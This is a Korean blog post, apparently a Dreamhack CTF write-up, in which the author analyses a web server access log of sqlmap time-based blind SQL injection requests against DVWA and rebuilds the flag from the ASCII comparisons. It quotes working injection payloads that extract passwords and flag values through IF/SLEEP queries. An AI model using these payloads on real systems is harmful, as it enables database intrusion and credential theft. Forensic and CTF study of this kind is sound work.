access-log

mercure·2024년 11월 25일
0

Dreamhack

목록 보기
4/18

사진과 같은 log파일에서 flag를 도출해야한다.

우선 구문을 하나 가져와서 보자

172.20.0.1 - - [26/Apr/2024:18:23:05 +0000] "GET /vulnerabilities/sqli/?id=1%27%20AND%207279%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%20FROM%20dvwa.users%20ORDER%20BY%20%60user%60%20LIMIT%204%2C1%29%2C18%2C1%29%29%3E97%29%2CSLEEP%281%29%2C7279%29--%20CysV&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

URL 디코딩 후 값

172.20.0.1--[26/Apr/2024:18:23:05+0000]"GET/vulnerabilities/sqli/?id=1' AND 7279=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 4,1),18,1))>97),SLEEP(1),7279)-- CysV&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"

id와 sql 구문, sleep을 근거로 Time-based Blind SQLi 임을 알 수 있다.

Blind SQL Injection (블라인드 SQL 인젝션)

  1. 오류 메시지 없음
  • 데이터베이스 오류나 디버깅 메시지가 표시되지 않으므로, 직접적인 힌트를 얻을 수 없음
  1. 응답 기반 추론
  • 공격자는 응답의 변화, 페이지 로딩 시간, 상태 코드 등을 사용하여 데이터를 추출.
  1. 시간 소모
  • 일반적인 SQL 인젝션보다 데이터 추출 과정이 느림

Boolean-based Blind SQLi

  • 참/거짓 조건을 기반으로 데이터를 추론하는 기법
  • 쿼리를 실행한 후 결과에 따라 페이지 내용이 변경되는지를 관찰

Time-based Blind SQLi

  • 데이터베이스에서 쿼리 실행 시간의 지연을 유발하여 결과를 추론하는 기법
  • 데이터베이스의 동작 여부를 응답 시간으로 확인

Out-of-band Blind SQLi

  • 데이터베이스에서 응답을 직접 제공하지 않는 대신, 외부 네트워크 리소스로 데이터를 전송하는 방식
  • DNS 요청이나 HTTP 요청을 통해 정보를 추출

따라서 sql 구문을 뜯어서 살펴 볼 예정이다.

id=1' AND 7279=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) 
FROM dvwa.users 
ORDER BY `user` 
LIMIT 4,1),18,1))>97),SLEEP(1),7279)
  • if 문
id=1' AND 7279=IF(~~,SLEEP(1),7279)

1' 을 통해 sql 구문 탈출 및 and 7279 와 if문이 같은지 연산, 참일경우 sleep(1), 거짓일 경우 7279비교가 맞다고 처리된다.

  • sleect 문
(SELECT IFNULL(CAST(password AS CHAR),0x20) 
FROM dvwa.users 
ORDER BY `user` 
LIMIT 4,1)

dvwa.users 테이블에서 네 번째 행의 password 추출 null이면 공백, 아니면 password를 문자열로 추출 user열을 기준으로 정렬

  • MID((...), 18, 1) 문
    password 값의 18번째 문자를 반환
  • ORD 함수
    password 값의 18번째 문자의 ASCII 값이 반환

그럼 이 많은 sql 구문중 flag를 찾아야하니 flag를 검색해보았다.

if문이 참일경우 거짓인 경우와 다른 값을 나타낼 것이다. 대부분의 경우 200 1800 근처에 분포하지만 200 1600정도의 값은 큰 차이가 있으므로 이 경우 참으로 간주하고 데이터를 수집한 결과

172.20.0.1 - - [26/Apr/2024:17:50:55 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>66),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:56 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>67),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1664 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
172.20.0.1 - - [26/Apr/2024:17:50:57 +0000] "GET /vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(value AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=Submit HTTP/1.1" 200 1806 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"

여기서 >66보다 크고 >67일때도 크고 200 참이므로 1600대의 반환을 보였으나

!=68이라고 물었을때는 거짓으로 1800대의 반환을 보였다. 이를 통해 ascii값은 정확이 68임을 알 수 있으며 ascii 문자 68이다. 이는 D이므로 드림핵 플래그 시작과 동일하므로 이와 유사하게 다 찾은결과

68 72 123 97 110 65 49 121 122 49 110 71 86 101 51 121 66 49 57 76 48 103 125

값을 얻었다 이를 변환하면 플래그를 얻을 수 있다.

mac에서는 log분석시 CotEditor 를 이용하고 있다. url 디코딩 및 찾기 찾은 값을 따로 복사할 수도 있어서 편한 것 같다.

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보